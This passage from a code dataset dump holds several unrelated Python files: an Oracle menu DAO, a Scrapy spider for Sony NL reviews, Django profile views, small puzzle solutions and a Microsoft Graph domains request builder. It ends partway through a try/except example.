None)))\n else:\n #print(node['nodeID'])\n nID = self.parse_node_id(node['nodeID'])\n if nID == '501681' or nID == 501681:\n print(node)\n G.add_node(self.parse_node_id(node['nodeID']), text=node.get('text', None), type=node.get('type', None),\n timestamp=self.parse_timestamp(node.get('timestamp', None)))\n\n for edge in node_set['edges']:\n from_id = self.parse_edge_id(edge['fromID'])\n to_id = self.parse_edge_id(edge['toID'])\n G.add_edge(from_id, to_id)\n\n #for locution in node_set['locutions']:\n # node_id = self.parse_node_id(locution['nodeID'])\n # locution_dict[node_id] = locution\n return G\n","sub_path":"app/load_map.py","file_name":"load_map.py","file_ext":"py","file_size_in_byte":3333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"295129883","text":"import cx_Oracle\nimport mybatis_mapper2sql\nimport configparser\n\n\ndef menuSort(menuList: list):\n if menuList:\n return {\"menu_seq\": menuList[0],\n \"owner_seq\": menuList[1],\n \"cate_seq\": menuList[2],\n \"menu_name\": menuList[3],\n \"menu_price\": menuList[4],\n \"menu_content\": menuList[5],\n \"menu_display_yn\": menuList[6],\n \"attach_path\": menuList[7],\n \"attach_file\": menuList[8],\n \"in_date\": menuList[9],\n \"in_user_id\": menuList[10],\n \"up_date\": menuList[11],\n \"up_user_id\": menuList[12],\n \"cate_name\": menuList[13]}\n return None\n\n\nclass DaoMenu:\n def __init__(self, config_path='config.ini', xml_path='dao/menu.xml'):\n config = configparser.ConfigParser()\n config.read(config_path)\n database = config['database']['username'] + '/' + config['database']['password'] + '@' + config['database']['hostname'] + ':' + config['database']['port'] + '/' + config['database']['sid']\n self.conn = cx_Oracle.connect(database)\n self.cs = self.conn.cursor()\n self.mapper = mybatis_mapper2sql.create_mapper(xml=xml_path)[0]\n\n def selectAll(self, owner_seq):\n sql = mybatis_mapper2sql.get_child_statement(self.mapper, \"selectAll\")\n self.cs.execute(sql, (owner_seq,))\n return list(map(menuSort, self.cs.fetchall()))\n\n def selectKiosk(self, owner_seq, cate_seq):\n sql = mybatis_mapper2sql.get_child_statement(self.mapper, \"selectKiosk\")\n self.cs.execute(sql, (owner_seq, cate_seq))\n return list(map(menuSort, self.cs.fetchall()))\n\n def selectKakao(self, owner_seq):\n sql = mybatis_mapper2sql.get_child_statement(self.mapper, \"selectKakao\")\n self.cs.execute(sql, (owner_seq,))\n res = dict()\n for rs in self.cs.fetchall():\n res[rs[0]] = menuSort(rs)\n return res\n\n def selectByName(self, owner_seq, menu_name):\n sql = mybatis_mapper2sql.get_child_statement(self.mapper, \"selectByName\")\n self.cs.execute(sql, (owner_seq, menu_name,))\n return list(map(menuSort, self.cs.fetchall()))\n\n def select(self, menu_seq, owner_seq):\n sql = mybatis_mapper2sql.get_child_statement(self.mapper, \"select\")\n self.cs.execute(sql, (menu_seq, owner_seq))\n return menuSort(self.cs.fetchone())\n\n def insert(self, owner_seq, cate_seq, menu_name, menu_price, menu_content, menu_display_yn, attach_path, attach_file):\n sql = mybatis_mapper2sql.get_child_statement(self.mapper, \"insert\")\n self.cs.execute(sql, (owner_seq, cate_seq, menu_name, menu_price, menu_content, menu_display_yn, attach_path, attach_file, owner_seq, owner_seq))\n self.conn.commit()\n return self.cs.rowcount\n\n def update(self, cate_seq, menu_name, menu_price, menu_content, menu_display_yn, attach_path, attach_file, up_user_id, menu_seq):\n sql = mybatis_mapper2sql.get_child_statement(self.mapper, \"update\")\n self.cs.execute(sql, (cate_seq, menu_name, menu_price, menu_content, menu_display_yn, attach_path, attach_file, up_user_id, menu_seq))\n self.conn.commit()\n return self.cs.rowcount\n\n\n def menuCntChart(self,owner_seq, month):\n sql = mybatis_mapper2sql.get_child_statement(self.mapper, \"menuCntChart\")\n rs = self.cs.execute(sql, (owner_seq, month,))\n list = []\n for record in rs:\n list.append({'menu_seq': record[0],\n 'menu_name': record[1],\n 'menu_cnt': record[2]})\n return list\n\n def menuSalesChart(self,owner_seq,month):\n sql = mybatis_mapper2sql.get_child_statement(self.mapper, \"menuSalesChart\")\n rs = self.cs.execute(sql, (owner_seq, month,))\n list = []\n for record in rs:\n list.append({'menu_seq': record[0],\n 'menu_name': record[1],\n 'menu_sales': record[2]})\n return list\n\n def salesChart(self,owner_seq, months):\n sql = mybatis_mapper2sql.get_child_statement(self.mapper, \"salesChart\")\n rs = self.cs.execute(sql, (owner_seq, months,))\n list = []\n for record in rs:\n list.append({'period': record[0],\n 'sales': record[1]})\n return list\n\n def multiInsert(self, owner_seq, insertDictList):\n sql = mybatis_mapper2sql.get_child_statement(self.mapper, \"insert\")\n\n res = 0\n for insertDict in insertDictList:\n self.cs.execute(sql, (owner_seq,\n insertDict['cate_seq'],\n insertDict['menu_name'],\n insertDict['menu_price'],\n insertDict['menu_content'],\n insertDict['menu_display_yn'],\n insertDict['attach_path'],\n insertDict['attach_file'],\n owner_seq,\n owner_seq))\n res += self.cs.rowcount\n\n self.conn.commit()\n return res\n\n\nif __name__ == '__main__':\n daoMenu = DaoMenu(config_path='../config.ini', xml_path='menu.xml')\n print(daoMenu.menuCntChart('2021-04'))\n print(daoMenu.menuSalesChart('2021-04'))\n print(daoMenu.salesChart(6))\n\n from dateutil.relativedelta import relativedelta\n from datetime import datetime\n thismonth = datetime.now().strftime(\"%Y-%m\")\n lastmonth = (datetime.now() - relativedelta(months=1)).strftime(\"%Y-%m\")\n print(thismonth, lastmonth)\n","sub_path":"dao/menu.py","file_name":"menu.py","file_ext":"py","file_size_in_byte":5700,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"119101788","text":"from werkzeug.exceptions import HTTPException\n\n\nclass BaseError(HTTPException):\n\n def __init__(self, description):\n super(HTTPException, self).__init__()\n self.description = description\n\n\nclass BadRequest(BaseError):\n code = 400\n\n\nclass NotFound(BaseError):\n code = 404\n\n\nclass ServerError(BaseError):\n code = 500\n","sub_path":"src/custom_exceptions/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"172803131","text":"# -*- coding: utf8 -*-\nfrom datetime import datetime\nimport re\n\nfrom scrapy.http import Request\nfrom scrapy.selector import Selector\n\nfrom alascrapy.spiders.base_spiders.ala_spider import AlaSpider\nfrom alascrapy.spiders.base_spiders.bazaarvoice_spider import BVNoSeleniumSpider\nfrom alascrapy.lib.generic import get_full_url, date_format\nimport alascrapy.lib.dao.incremental_scraping as incremental_utils\nfrom alascrapy.items import CategoryItem, ProductItem, ReviewItem, ProductIdItem\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom alascrapy.lib.selenium_browser import SeleniumBrowser\n\n\nclass Sony_nlSpider(AlaSpider):\n name = 'sony_nl'\n allowed_domains = ['sony.nl']\n start_urls = ['http://www.sony.nl/all-electronics']\n\n \n def parse(self, response):\n \n original_url = response.url\n \n urls_xpath = \"//li[@class='products-li']/a/@href\"\n urls = self.extract_list(response.xpath(urls_xpath))\n \n for single_url in urls:\n matches = None\n if \".+/electronics/.+\":\n matches = re.search(\".+/electronics/.+\", single_url, re.IGNORECASE)\n if matches:\n single_url = matches.group(0)\n else:\n continue\n single_url = get_full_url(original_url, single_url)\n \n request = Request(single_url, callback=self.level_2)\n \n yield request\n \n def level_2(self, response):\n \n original_url = response.url\n \n urls_xpath = \"//button[@class='tab']/@data-tab-url\"\n urls = self.extract_list(response.xpath(urls_xpath))\n \n urls.append(original_url)\n \n for single_url in urls:\n matches = None\n if \"\":\n matches = re.search(\"\", single_url, re.IGNORECASE)\n if matches:\n single_url = matches.group(0)\n else:\n continue\n single_url = get_full_url(original_url, single_url)\n \n request = Request(single_url, callback=self.level_3)\n \n yield request\n \n def level_3(self, response):\n \n original_url = response.url\n \n urls_xpath = \"//div[contains(@class, 'products')]/a/@href\"\n urls = self.extract_list(response.xpath(urls_xpath))\n \n for single_url in urls:\n matches = None\n if \"\":\n matches = re.search(\"\", single_url, re.IGNORECASE)\n if matches:\n single_url = matches.group(0)\n else:\n continue\n single_url = get_full_url(original_url, single_url)\n \n request = Request(single_url, callback=self.level_4)\n \n yield request\n \n def level_4(self, response):\n \n original_url = response.url\n \n product_xpaths = { \n \n \n \"ProductName\":\"//h1[@itemprop='name']/text()\",\n \n \n \"OriginalCategoryName\":\"//meta[contains(@name, 'category1')]/@content\",\n \n \n \"PicURL\":\"//meta[@property='og:image']/@content\",\n \n \n \"ProductManufacturer\":\"//meta[@property='og:site_name']/@content\"\n \n }\n product = self.init_item_by_xpaths(response, \"product\", product_xpaths)\n product['TestUrl'] = original_url\n try:\n product[\"OriginalCategoryName\"] = category['category_path']\n except:\n pass\n\n id_value = self.extract(response.xpath(\"//span[@itemprop='model']/text()\"))\n if id_value:\n product_id = self.product_id(product)\n product_id['ID_kind'] = \"sku\"\n product_id['ID_value'] = id_value\n yield product_id\n \n\n yield product\n\n url_xpath = \"//span[contains(@class, 'reviews-text')]/a[@class='primary-link ']/@href\"\n single_url = self.extract(response.xpath(url_xpath))\n if single_url:\n matches = None\n if \"\":\n matches = re.search(\"\", single_url, re.IGNORECASE)\n if matches:\n single_url = matches.group(0)\n else:\n return\n single_url = get_full_url(original_url, single_url)\n \n request = Request(single_url, callback=self.level_5)\n \n yield request\n \n def level_5(self, response):\n \n original_url = response.url\n \n\n\n \n with SeleniumBrowser(self, response) as browser:\n browser.get(response.url)\n \n first_time = True\n while True:\n if not first_time:\n try:\n selector = browser.click_link(\"//button[contains(@class, 'loadmore')]\", None)\n response = selector.response\n except:\n break\n\n first_time = False\n containers_xpath = \".//div[@itemprop='review']\"\n containers = response.xpath(containers_xpath)\n for review_container in containers:\n review = ReviewItem()\n \n \n review['ProductName'] = self.extract(review_container.xpath(\"//a[contains(@class, 'breadcrumb-link')]/@title\"))\n \n \n review['SourceTestRating'] = self.extract(review_container.xpath(\".//meta[@itemprop='ratingValue']/@content\"))\n \n \n review['TestDateText'] = self.extract(review_container.xpath(\".//span[contains(@class, 'review-date')]//text()\"))\n \n \n \n \n review['TestSummary'] = self.extract(review_container.xpath(\".//p[@itemprop='description']/text()\"))\n \n \n \n review['Author'] = self.extract(review_container.xpath(\".//span[contains(@class, 'user-nickname')]/text()\"))\n \n \n review['TestTitle'] = self.extract(review_container.xpath(\".//h4[@itemprop='name']/text()\"))\n \n \n \n review['TestUrl'] = original_url\n try:\n review['ProductName'] = product['ProductName']\n review['source_internal_id'] = product['source_internal_id']\n except:\n pass\n \n\n \n review[\"DBaseCategoryName\"] = \"USER\"\n \n \n\n \n review[\"SourceTestScale\"] = \"5\"\n \n \n\n \n if review[\"TestDateText\"]:\n \n review[\"TestDateText\"] = date_format(review[\"TestDateText\"], \"%d-%m-%Y\", [\"en\"])\n \n \n\n \n \n \n yield review\n \n \n","sub_path":"alascrapy/spiders/sony_nl.py","file_name":"sony_nl.py","file_ext":"py","file_size_in_byte":7657,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"579144408","text":"from django.shortcuts import render, get_object_or_404, render_to_response, redirect\n\nfrom django.http import HttpResponseRedirect, HttpResponseNotFound, Http404, HttpResponse\nfrom django.http import JsonResponse\n\nfrom django.contrib import auth\nfrom django.contrib.auth.forms import UserCreationForm, PasswordResetForm\nfrom django.contrib.auth import authenticate, login, logout\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib.auth.models import User\n\nfrom django.db import models\nfrom django.db import IntegrityError\nfrom django.template import RequestContext\n\nfrom django.utils import timezone\nfrom django.utils.decorators import method_decorator\n\nfrom django.views import generic\nfrom django.views.generic import CreateView, View\n\nfrom django.urls import reverse\n\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\n\nfrom django.views.generic import TemplateView\n\nfrom ..models import Band, Song, Instrument, Genre, Requests, UserProfile\nfrom ..forms import UserForm, UserProfileForm, SongForm, InstrumentForm, GenreForm\n\nIMAGE_FILE_TYPES = ['png', 'jpg', 'jpeg']\nSONG_FILE_TYPES = ['mp3', 'wav']\n\n\n# Administration Links\ndef register(request):\n\n context = RequestContext(request)\n\n registered = False\n\n user_form = UserForm(request.POST or None)\n profile_form = UserProfileForm(request.POST or None)\n\n if request.method == \"POST\":\n if user_form.is_valid() and profile_form.is_valid():\n user = user_form.save(commit=False)\n user.set_password(user.password)\n user.save()\n\n profile = profile_form.save(commit=False)\n profile.user = user\n profile.save()\n registered = True\n else:\n value = {\n 'user_form': user_form,\n 'profile_form': profile_form,\n 'user_error': user_form.errors,\n 'profile_error': profile_form.errors,\n 'registered': registered,\n }\n return render(request, 'musicform/register.html', value, context)\n else:\n user_form = UserForm()\n profile_form = UserProfileForm()\n\n value = {\n 'user_form': user_form,\n 'profile_form': profile_form,\n 'registered': registered,\n }\n return render(request, 'musicform/register.html', value, context)\n\n\n# Login URLs\ndef login_form(request):\n context = RequestContext(request)\n\n if request.method == \"POST\":\n username = request.POST['username']\n password = request.POST['password']\n user = authenticate(username=username, password=password)\n if user is not None:\n if user.is_active:\n login(request, user)\n # bands = Bands.objects.filter(user=request.user)\n return HttpResponseRedirect('/profile/')\n else:\n return HttpResponseRedirect(\"Your account has been disabled\")\n else:\n context = {\n 'error_message': 'Invalid Password/Username',\n }\n return render(request, 'musicform/login.html', context)\n else:\n return render(request, 'musicform/login.html', {}, context)\n\n\ndef edit_profile(request):\n context = RequestContext(request)\n\n user_prof = request.user.userprofile\n\n if request.method == \"POST\":\n profile_form = UserProfileForm(request.POST, instance=user_prof)\n user_form = UserForm(request.POST, instance=user_prof)\n\n if profile_form.is_valid() and user_form.is_valid():\n user = user_form.save(commit=False)\n user.save()\n profile = profile_form.save(commit=False)\n profile.save()\n else:\n return render(request, 'musicform/profile/edit_profile.html', context)\n else:\n profile_form = UserProfileForm(instance=user_prof)\n user_form = UserForm(instance=request.user)\n\n value = {\n 'user_form': user_form,\n 'profile_form': profile_form\n }\n return render(request, 'musicform/profile/edit_profile.html', value, context)\n\n\n@login_required\ndef send_request(request):\n users = User.objects.all()\n return render(request, 'musicform/band/send_request.html', {'users': users})\n\n\n@method_decorator(login_required, name='dispatch')\nclass LogoutDetail(TemplateView):\n template_name = 'musicform/logout.html'\n\n def get(self, request, *args, **kwargs):\n auth.logout(request)\n return super(LogoutDetail, self).get(request, *args, **kwargs)\n\n\n# Band URLs\ndef request(request):\n return render(request, 'musicform/band/request.html')\n\n\n@login_required\ndef view_request(request):\n return render(request, 'musicform/band/view_requests.html')\n\n\ndef view_other_prof(request, prof_id):\n user = get_object_or_404(User, pk=prof_id)\n context = {\n 'user': user,\n 'user_prof': get_object_or_404(UserProfile, user=user),\n 'bands': Band.objects.filter(creator=prof_id),\n 'songs': Song.objects.filter(uploader=prof_id),\n 'instruments': Instrument.objects.filter(owner=prof_id),\n 'genres': Genre.objects.filter(owner=prof_id),\n 'requests': Requests.objects.filter(user_id_from=prof_id),\n }\n\n return render(request, 'musicform/profile/view_profile.html', context)\n\n\nclass ProfileDetail(TemplateView):\n template_name = 'musicform/profile.html'\n\n def get_context_data(self, **kwargs):\n context = super(ProfileDetail, self).get_context_data(**kwargs)\n context['bands'] = Band.objects.filter(creator=self.request.user)\n context['songs'] = Song.objects.filter(uploader=self.request.user)\n context['instruments'] = Instrument.objects.filter(owner=self.request.user)\n context['genres'] = Genre.objects.filter(owner=self.request.user)\n context['requests'] = Requests.objects.filter(user_id_from=self.request.user)\n\n return context\n\n\nclass AllSongsDetail(TemplateView):\n template_name = 'musicform/profile/all_songs.html'\n\n def get_context_data(self, **kwargs):\n context = super(AllSongsDetail, self).get_context_data(**kwargs)\n context['songs'] = Song.objects.filter(uploader=self.request.user)\n\n return context\n\n\n@login_required\ndef user_genre(request):\n form = GenreForm(request.POST or None)\n if form.is_valid():\n genre = form.save(commit=False)\n genre.owner = request.user\n try:\n genre.save()\n except IntegrityError:\n context = {\n 'genre_form': form,\n 'error': 'Sorry, already requested.'\n }\n return render(request, 'musicform/profile/new_genre.html', context)\n return HttpResponseRedirect('/profile/')\n context = {\n 'genre_form': form\n }\n return render(request, 'musicform/profile/new_genre.html', context)\n\n\n@login_required\ndef user_song(request):\n form = SongForm(request.POST or None, request.FILES or None)\n if form.is_valid():\n song = form.save(commit=False)\n song.uploader = request.user\n file_type = song.file.url.split('.')[-1]\n file_type = file_type.lower()\n if file_type not in SONG_FILE_TYPES:\n context = {\n 'song': song,\n 'error_message': 'Invalid File Type',\n }\n return render(request, 'musicform/profile/song.html', context)\n song.save()\n return HttpResponseRedirect('/profile/')\n context = {\n 'form': form\n }\n return render(request, 'musicform/profile/new_song.html', context)\n\n\n@login_required\ndef user_instruments(request):\n form = InstrumentForm(request.POST or None)\n if form.is_valid():\n instrument = form.save(commit=False)\n instrument.owner = request.user\n try:\n instrument.save()\n except IntegrityError:\n context = {\n 'form': form,\n 'error': 'Sorry, already requested.'\n }\n return render(request, 'musicform/profile/new_instrument.html', context)\n return HttpResponseRedirect('/profile/')\n context = {\n 'form': form\n }\n return render(request, 'musicform/profile/new_instrument.html', context)\n\n\n@login_required\ndef song_information(request, song_id):\n user = request.user\n song = get_object_or_404(Song, pk=song_id)\n context = {\n 'user': user,\n 'song': song\n }\n return render(request, 'musicform/profile/song.html', context)\n\n\ndef validate_username(request):\n username = request.GET.get('username', None)\n if username is None:\n return HttpResponse(status=400)\n data = {\n 'is_taken': User.objects.filter(username__iexact=username).exists()\n }\n return JsonResponse(data)\n","sub_path":"musicform/views/profile_view.py","file_name":"profile_view.py","file_ext":"py","file_size_in_byte":8753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"222361965","text":"\ndef count13(lst):\n \"\"\"\n Sum all numbers in a passed in list that are less than 13\n >>> count13([1,2,5,7,8,13,15,20])\n 23\n >>>\n \"\"\"\n if not type(lst) is list:\n return 0\n good_lst = [x for x in lst if type(x) is int or type(x) is float]\n return sum([x for x in good_lst if x < 13])\n\nif __name__ == \"__main__\":\n lst = [1,2,5,7,8,13,15,20]\n print(count13(lst))\n ","sub_path":"count13.py","file_name":"count13.py","file_ext":"py","file_size_in_byte":402,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"592091566","text":"# - Problem Description\n\n#Rotate a given String in specified direction by specified magnitude.\n\n#After each rotation make a note of first character of the rotated String, After all rotation are performed the accumulated first character as noted previously will form another string, say FIRST CHAR STRING.\n\n#Check If FIRST CHAR STRING is an Anagram of any substring of the Original string.\n\n#If yes print \"YES\" otherwise \"NO\". Input\n\n#The first line contains the original string s. The second line contains a single integer q. The ith of the next q lines contains character d[i] denoting direction and integer r[i] denoting the magnitude.\n\n#- Constraints\n\n#1 <= Length of original string 30\n#1<= q <= 10\n\n\n#- Output\n\n#YES or NO\n\n#- Explanation\n\n#Example 1\n\n#Input\n\n#Carrace\n#3\n#L 2\n#R 2\n#L 3\n\n#Output \n\n#NO\n\n#Explanation\n\n#After applying all the rotations the FIRSTCHARSTRING string will be “rcr” which is not anagram of any sub string of original string “carrace”.\n\n#Program \n\n#\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\noriginal = input().lower()\ntotal_cases = int(input())\n\nmx = 150\ndef eq(arr1, arr2):\n\tfor i in range(mx):\n\t\tif arr1[i] != arr2[i]:\n\t\t\treturn False\n\treturn True\n\ndef search(fcs, org):\n\tcp = [0]*mx\n\tct = [0]*mx\n\n\tN = len(org)\n\tM = len(fcs)\n\n\tfor i in range(M):\n\t\tcp[ ord(fcs[i]) ] += 1\n\t\tct[ ord(org[i]) ] += 1\n\n\tfor i in range(M,N):\n\t\tif eq(cp, ct):\n\t\t\treturn True\n\t\tct[ ord(org[i]) ] += 1\n\t\tct[ ord(org[i-M]) ] -= 1\n\n\tif eq(cp, ct):\n\t\treturn True\n\treturn False\n\nl = len(original)\nfirstCharStr = \"\"\nindexPointer = 0\n\nwhile ( total_cases ):\n\ttotal_cases-=1\n\t[direction, num] = input().split(\" \")\n\tif direction == \"L\":\n\t\tindexPointer = (indexPointer + int(num) ) % l\n\telse:\n\t\tindexPointer = (indexPointer - int(num) ) % l\n\n\tfirstCharStr+=original[indexPointer]\n\nif search(firstCharStr, original):\n\tprint(\"YES\")\nelse:\n\tprint(\"NO\") \n","sub_path":"Other/string_rotation.py","file_name":"string_rotation.py","file_ext":"py","file_size_in_byte":1832,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"587863624","text":"from __future__ import annotations\nfrom dataclasses import dataclass, field\nfrom kiota_abstractions.base_request_builder import BaseRequestBuilder\nfrom kiota_abstractions.get_path_parameters import get_path_parameters\nfrom kiota_abstractions.method import Method\nfrom kiota_abstractions.request_adapter import RequestAdapter\nfrom kiota_abstractions.request_information import RequestInformation\nfrom kiota_abstractions.request_option import RequestOption\nfrom kiota_abstractions.serialization import Parsable, ParsableFactory\nfrom typing import Any, Callable, Dict, List, Optional, TYPE_CHECKING, Union\n\nif TYPE_CHECKING:\n from ..models.domain import Domain\n from ..models.domain_collection_response import DomainCollectionResponse\n from ..models.o_data_errors.o_data_error import ODataError\n from .count.count_request_builder import CountRequestBuilder\n from .item.domain_item_request_builder import DomainItemRequestBuilder\n\nclass DomainsRequestBuilder(BaseRequestBuilder):\n \"\"\"\n Provides operations to manage the collection of domain entities.\n \"\"\"\n def __init__(self,request_adapter: RequestAdapter, path_parameters: Optional[Union[Dict[str, Any], str]] = None) -> None:\n \"\"\"\n Instantiates a new DomainsRequestBuilder and sets the default values.\n Args:\n path_parameters: The raw url or the Url template parameters for the request.\n request_adapter: The request adapter to use to execute the requests.\n \"\"\"\n super().__init__(request_adapter, \"{+baseurl}/domains{?%24top,%24skip,%24search,%24filter,%24count,%24orderby,%24select,%24expand}\", path_parameters)\n \n def by_domain_id(self,domain_id: str) -> DomainItemRequestBuilder:\n \"\"\"\n Provides operations to manage the collection of domain entities.\n Args:\n domain_id: Unique identifier of the item\n Returns: DomainItemRequestBuilder\n \"\"\"\n if not domain_id:\n raise TypeError(\"domain_id cannot be null.\")\n from .item.domain_item_request_builder import DomainItemRequestBuilder\n\n url_tpl_params = get_path_parameters(self.path_parameters)\n url_tpl_params[\"domain%2Did\"] = domain_id\n return DomainItemRequestBuilder(self.request_adapter, url_tpl_params)\n \n async def get(self,request_configuration: Optional[DomainsRequestBuilderGetRequestConfiguration] = None) -> Optional[DomainCollectionResponse]:\n \"\"\"\n Retrieve a list of domain objects.\n Args:\n request_configuration: Configuration for the request such as headers, query parameters, and middleware options.\n Returns: Optional[DomainCollectionResponse]\n \"\"\"\n request_info = self.to_get_request_information(\n request_configuration\n )\n from ..models.o_data_errors.o_data_error import ODataError\n\n error_mapping: Dict[str, ParsableFactory] = {\n \"4XX\": ODataError,\n \"5XX\": ODataError,\n }\n if not self.request_adapter:\n raise Exception(\"Http core is null\") \n from ..models.domain_collection_response import DomainCollectionResponse\n\n return await self.request_adapter.send_async(request_info, DomainCollectionResponse, error_mapping)\n \n async def post(self,body: Optional[Domain] = None, request_configuration: Optional[DomainsRequestBuilderPostRequestConfiguration] = None) -> Optional[Domain]:\n \"\"\"\n Adds a domain to the tenant. Important: You cannot use an associated domain with your Azure AD tenant until ownership is verified. See List verificationDnsRecords for details. Root domains require verification. For example, contoso.com requires verification. If a root domain is verified, subdomains of the root domain are automatically verified. For example, subdomain.contoso.com is automatically be verified if contoso.com has been verified.\n Args:\n body: The request body\n request_configuration: Configuration for the request such as headers, query parameters, and middleware options.\n Returns: Optional[Domain]\n \"\"\"\n if not body:\n raise TypeError(\"body cannot be null.\")\n request_info = self.to_post_request_information(\n body, request_configuration\n )\n from ..models.o_data_errors.o_data_error import ODataError\n\n error_mapping: Dict[str, ParsableFactory] = {\n \"4XX\": ODataError,\n \"5XX\": ODataError,\n }\n if not self.request_adapter:\n raise Exception(\"Http core is null\") \n from ..models.domain import Domain\n\n return await self.request_adapter.send_async(request_info, Domain, error_mapping)\n \n def to_get_request_information(self,request_configuration: Optional[DomainsRequestBuilderGetRequestConfiguration] = None) -> RequestInformation:\n \"\"\"\n Retrieve a list of domain objects.\n Args:\n request_configuration: Configuration for the request such as headers, query parameters, and middleware options.\n Returns: RequestInformation\n \"\"\"\n request_info = RequestInformation()\n request_info.url_template = self.url_template\n request_info.path_parameters = self.path_parameters\n request_info.http_method = Method.GET\n request_info.headers[\"Accept\"] = [\"application/json\"]\n if request_configuration:\n request_info.add_request_headers(request_configuration.headers)\n request_info.set_query_string_parameters_from_raw_object(request_configuration.query_parameters)\n request_info.add_request_options(request_configuration.options)\n return request_info\n \n def to_post_request_information(self,body: Optional[Domain] = None, request_configuration: Optional[DomainsRequestBuilderPostRequestConfiguration] = None) -> RequestInformation:\n \"\"\"\n Adds a domain to the tenant. Important: You cannot use an associated domain with your Azure AD tenant until ownership is verified. See List verificationDnsRecords for details. Root domains require verification. For example, contoso.com requires verification. If a root domain is verified, subdomains of the root domain are automatically verified. For example, subdomain.contoso.com is automatically be verified if contoso.com has been verified.\n Args:\n body: The request body\n request_configuration: Configuration for the request such as headers, query parameters, and middleware options.\n Returns: RequestInformation\n \"\"\"\n if not body:\n raise TypeError(\"body cannot be null.\")\n request_info = RequestInformation()\n request_info.url_template = self.url_template\n request_info.path_parameters = self.path_parameters\n request_info.http_method = Method.POST\n request_info.headers[\"Accept\"] = [\"application/json\"]\n if request_configuration:\n request_info.add_request_headers(request_configuration.headers)\n request_info.add_request_options(request_configuration.options)\n request_info.set_content_from_parsable(self.request_adapter, \"application/json\", body)\n return request_info\n \n @property\n def count(self) -> CountRequestBuilder:\n \"\"\"\n Provides operations to count the resources in the collection.\n \"\"\"\n from .count.count_request_builder import CountRequestBuilder\n\n return CountRequestBuilder(self.request_adapter, self.path_parameters)\n \n @dataclass\n class DomainsRequestBuilderGetQueryParameters():\n \"\"\"\n Retrieve a list of domain objects.\n \"\"\"\n def get_query_parameter(self,original_name: Optional[str] = None) -> str:\n \"\"\"\n Maps the query parameters names to their encoded names for the URI template parsing.\n Args:\n original_name: The original query parameter name in the class.\n Returns: str\n \"\"\"\n if not original_name:\n raise TypeError(\"original_name cannot be null.\")\n if original_name == \"count\":\n return \"%24count\"\n if original_name == \"expand\":\n return \"%24expand\"\n if original_name == \"filter\":\n return \"%24filter\"\n if original_name == \"orderby\":\n return \"%24orderby\"\n if original_name == \"search\":\n return \"%24search\"\n if original_name == \"select\":\n return \"%24select\"\n if original_name == \"skip\":\n return \"%24skip\"\n if original_name == \"top\":\n return \"%24top\"\n return original_name\n \n # Include count of items\n count: Optional[bool] = None\n\n # Expand related entities\n expand: Optional[List[str]] = None\n\n # Filter items by property values\n filter: Optional[str] = None\n\n # Order items by property values\n orderby: Optional[List[str]] = None\n\n # Search items by search phrases\n search: Optional[str] = None\n\n # Select properties to be returned\n select: Optional[List[str]] = None\n\n # Skip the first n items\n skip: Optional[int] = None\n\n # Show only the first n items\n top: Optional[int] = None\n\n \n from kiota_abstractions.base_request_configuration import BaseRequestConfiguration\n\n @dataclass\n class DomainsRequestBuilderGetRequestConfiguration(BaseRequestConfiguration):\n from kiota_abstractions.base_request_configuration import BaseRequestConfiguration\n\n \"\"\"\n Configuration for the request such as headers, query parameters, and middleware options.\n \"\"\"\n # Request query parameters\n query_parameters: Optional[DomainsRequestBuilder.DomainsRequestBuilderGetQueryParameters] = None\n\n \n from kiota_abstractions.base_request_configuration import BaseRequestConfiguration\n\n @dataclass\n class DomainsRequestBuilderPostRequestConfiguration(BaseRequestConfiguration):\n from kiota_abstractions.base_request_configuration import BaseRequestConfiguration\n\n \"\"\"\n Configuration for the request such as headers, query parameters, and middleware options.\n \"\"\"\n \n\n","sub_path":"msgraph/generated/domains/domains_request_builder.py","file_name":"domains_request_builder.py","file_ext":"py","file_size_in_byte":10323,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"303390963","text":"from collections import defaultdict\nfrom math import ceil\n\n\ndef calculate_ores(name, target_amount):\n reaction = dictionary[name]\n smallest_amount = reaction['amount']\n\n # check if material is in storage?\n if storage[name] >= target_amount:\n storage[name] -= target_amount\n return\n else:\n target_amount -= storage[name]\n storage[name] = 0\n\n repetitions = ceil(target_amount / smallest_amount)\n repetition_produces_amount = repetitions * smallest_amount\n\n wasted = repetition_produces_amount - target_amount\n storage[name] += wasted\n\n for needed, amount_needed in reaction['needed'].items():\n amount_needed = amount_needed * repetitions\n\n if needed == 'ORE':\n ore['ORE'] += amount_needed\n else:\n calculate_ores(needed, amount_needed)\n\n\nreader = open('input.txt', 'r')\ndata = reader.read().split('\\n')\nreader.close()\n\ndictionary = {}\n\nfor eq in data:\n needed, product = eq.split(' => ')\n product_amount, product_name = product.split(' ')\n needed_dict = {}\n for need in needed.split(', '):\n need_amount, need_name = need.split(' ')\n needed_dict[need_name] = int(need_amount)\n\n dictionary[product_name] = {'amount': int(product_amount), 'needed': needed_dict}\n\nstorage = defaultdict(int)\nore = defaultdict(int)\n\ncalculate_ores('FUEL', 1)\nprint(ore['ORE'])\n","sub_path":"day14/part1/day14.py","file_name":"day14.py","file_ext":"py","file_size_in_byte":1382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"38464309","text":"# Shows the uses of try-except-else-finally\n\n# Division by zero\ntry:\n\tresult = 10 / 0\nexcept ZeroDivisionError:\n\tprint(\"10 / 0: You cannot divide by zero\")\t\t\nelse:\n\tprint(\"10 / 0: No exceptions raised\")\nfinally:\n\tprint(\"10 / 0: This code always runs\\n\")\n \n# No error\ntry:\n\tresult = 10 / 2\nexcept ZeroDivisionError:\n\tprint(\"10 